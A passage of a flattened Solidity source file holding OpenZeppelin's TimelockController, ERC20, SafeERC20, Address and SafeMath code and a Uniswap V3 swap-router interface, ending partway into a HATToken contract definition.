This gives time for users of the * controlled contract to exit before a potentially dangerous maintenance * operation is applied. * * By default, this contract is self administered, meaning administration tasks * have to go through the timelock process. The proposer (resp executor) role * is in charge of proposing (resp executing) operations. A common use case is * to position this {TimelockController} as the owner of a smart contract, with * a multisig or a DAO as the sole proposer. * * _Available since v3.3._ */ contract TimelockController is AccessControl { bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE"); bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE"); bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE"); uint256 internal constant _DONE_TIMESTAMP = uint256(1); mapping(bytes32 => uint256) private _timestamps; uint256 private _minDelay; /** * @dev Emitted when a call is scheduled as part of operation `id`. */ event CallScheduled(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data, bytes32 predecessor, uint256 delay); /** * @dev Emitted when a call is performed as part of operation `id`. */ event CallExecuted(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data); /** * @dev Emitted when operation `id` is cancelled. */ event Cancelled(bytes32 indexed id); /** * @dev Emitted when the minimum delay for future operations is modified. */ event MinDelayChange(uint256 oldDuration, uint256 newDuration); /** * @dev Initializes the contract with a given `minDelay`. */ constructor(uint256 minDelay, address[] memory proposers, address[] memory executors) { _setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE); _setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE); _setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE); // deployer + self administration _setupRole(TIMELOCK_ADMIN_ROLE, _msgSender()); _setupRole(TIMELOCK_ADMIN_ROLE, address(this)); // register proposers for (uint256 i = 0; i < proposers.length; ++i) { _setupRole(PROPOSER_ROLE, proposers[i]); } // register executors for (uint256 i = 0; i < executors.length; ++i) { _setupRole(EXECUTOR_ROLE, executors[i]); } _minDelay = minDelay; emit MinDelayChange(0, minDelay); } /** * @dev Modifier to make a function callable only by a certain role. In * addition to checking the sender's role, `address(0)` 's role is also * considered. Granting a role to `address(0)` is equivalent to enabling * this role for everyone. */ modifier onlyRoleOrOpenRole(bytes32 role) { if (!hasRole(role, address(0))) { _checkRole(role, _msgSender()); } _; } /** * @dev Contract might receive/hold ETH as part of the maintenance process. */ receive() external payable {} /** * @dev Returns whether an id correspond to a registered operation. This * includes both Pending, Ready and Done operations. */ function isOperation(bytes32 id) public view virtual returns (bool pending) { return getTimestamp(id) > 0; } /** * @dev Returns whether an operation is pending or not. */ function isOperationPending(bytes32 id) public view virtual returns (bool pending) { return getTimestamp(id) > _DONE_TIMESTAMP; } /** * @dev Returns whether an operation is ready or not. */ function isOperationReady(bytes32 id) public view virtual returns (bool ready) { uint256 timestamp = getTimestamp(id); // solhint-disable-next-line not-rely-on-time return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp; } /** * @dev Returns whether an operation is done or not. */ function isOperationDone(bytes32 id) public view virtual returns (bool done) { return getTimestamp(id) == _DONE_TIMESTAMP; } /** * @dev Returns the timestamp at with an operation becomes ready (0 for * unset operations, 1 for done operations). */ function getTimestamp(bytes32 id) public view virtual returns (uint256 timestamp) { return _timestamps[id]; } /** * @dev Returns the minimum delay for an operation to become valid. * * This value can be changed by executing an operation that calls `updateDelay`. */ function getMinDelay() public view virtual returns (uint256 duration) { return _minDelay; } /** * @dev Returns the identifier of an operation containing a single * transaction. */ function hashOperation(address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt) public pure virtual returns (bytes32 hash) { return keccak256(abi.encode(target, value, data, predecessor, salt)); } /** * @dev Returns the identifier of an operation containing a batch of * transactions. */ function hashOperationBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt) public pure virtual returns (bytes32 hash) { return keccak256(abi.encode(targets, values, datas, predecessor, salt)); } /** * @dev Schedule an operation containing a single transaction. * * Emits a {CallScheduled} event. * * Requirements: * * - the caller must have the 'proposer' role. */ function schedule(address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt, uint256 delay) public virtual onlyRole(PROPOSER_ROLE) { bytes32 id = hashOperation(target, value, data, predecessor, salt); _schedule(id, delay); emit CallScheduled(id, 0, target, value, data, predecessor, delay); } /** * @dev Schedule an operation containing a batch of transactions. * * Emits one {CallScheduled} event per transaction in the batch. * * Requirements: * * - the caller must have the 'proposer' role. */ function scheduleBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt, uint256 delay) public virtual onlyRole(PROPOSER_ROLE) { require(targets.length == values.length, "TimelockController: length mismatch"); require(targets.length == datas.length, "TimelockController: length mismatch"); bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt); _schedule(id, delay); for (uint256 i = 0; i < targets.length; ++i) { emit CallScheduled(id, i, targets[i], values[i], datas[i], predecessor, delay); } } /** * @dev Schedule an operation that is to becomes valid after a given delay. */ function _schedule(bytes32 id, uint256 delay) private { require(!isOperation(id), "TimelockController: operation already scheduled"); require(delay >= getMinDelay(), "TimelockController: insufficient delay"); // solhint-disable-next-line not-rely-on-time _timestamps[id] = block.timestamp + delay; } /** * @dev Cancel an operation. * * Requirements: * * - the caller must have the 'proposer' role. */ function cancel(bytes32 id) public virtual onlyRole(PROPOSER_ROLE) { require(isOperationPending(id), "TimelockController: operation cannot be cancelled"); delete _timestamps[id]; emit Cancelled(id); } /** * @dev Execute an (ready) operation containing a single transaction. * * Emits a {CallExecuted} event. * * Requirements: * * - the caller must have the 'executor' role. */ function execute(address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) { bytes32 id = hashOperation(target, value, data, predecessor, salt); _beforeCall(predecessor); _call(id, 0, target, value, data); _afterCall(id); } /** * @dev Execute an (ready) operation containing a batch of transactions. * * Emits one {CallExecuted} event per transaction in the batch. * * Requirements: * * - the caller must have the 'executor' role. */ function executeBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) { require(targets.length == values.length, "TimelockController: length mismatch"); require(targets.length == datas.length, "TimelockController: length mismatch"); bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt); _beforeCall(predecessor); for (uint256 i = 0; i < targets.length; ++i) { _call(id, i, targets[i], values[i], datas[i]); } _afterCall(id); } /** * @dev Checks before execution of an operation's calls. */ function _beforeCall(bytes32 predecessor) private view { require(predecessor == bytes32(0) || isOperationDone(predecessor), "TimelockController: missing dependency"); } /** * @dev Checks after execution of an operation's calls. */ function _afterCall(bytes32 id) private { require(isOperationReady(id), "TimelockController: operation is not ready"); _timestamps[id] = _DONE_TIMESTAMP; } /** * @dev Execute an operation's call. * * Emits a {CallExecuted} event. */ function _call(bytes32 id, uint256 index, address target, uint256 value, bytes calldata data) private { // solhint-disable-next-line avoid-low-level-calls (bool success,) = target.call{value: value}(data); require(success, "TimelockController: underlying transaction reverted"); emit CallExecuted(id, index, target, value, data); } /** * @dev Changes the minimum timelock duration for future operations. * * Emits a {MinDelayChange} event. * * Requirements: * * - the caller must be the timelock itself. This can only be achieved by scheduling and later executing * an operation where the timelock is the target and the data is the ABI-encoded call to this function. */ function updateDelay(uint256 newDelay) external virtual { require(msg.sender == address(this), "TimelockController: caller must be timelock"); emit MinDelayChange(_minDelay, newDelay); _minDelay = newDelay; } } // File contracts/interfaces/ISwapRouter.sol pragma solidity 0.8.6; /// @title Router token swapping functionality /// @notice Functions for swapping tokens via Uniswap V3 interface ISwapRouter { struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; } /// @notice Swaps `amountIn` of one token for as much as possible of another token /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata /// @return amountOut The amount of the received token function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut); struct ExactInputParams { bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata /// @return amountOut The amount of the received token function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); struct ExactOutputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; uint160 sqrtPriceLimitX96; } /// @notice Swaps as little as possible of one token for `amountOut` of another token /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata /// @return amountIn The amount of the input token function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn); struct ExactOutputParams { bytes path; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; } /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed) /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata /// @return amountIn The amount of the input token function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn); // solhint-disable-next-line func-name-mixedcase function WETH9() external pure returns (address); } // File openzeppelin-solidity/contracts/token/ERC20/[email protected] pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File openzeppelin-solidity/contracts/utils/[email protected] pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File openzeppelin-solidity/contracts/token/ERC20/utils/[email protected] pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File openzeppelin-solidity/contracts/token/ERC20/extensions/[email protected] pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File openzeppelin-solidity/contracts/token/ERC20/[email protected] pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File openzeppelin-solidity/contracts/utils/math/[email protected] pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File contracts/HATToken.sol pragma solidity 0.8.6; contract HATToken is IERC20 { struct PendingMinter { uint256 seedAmount; uint256 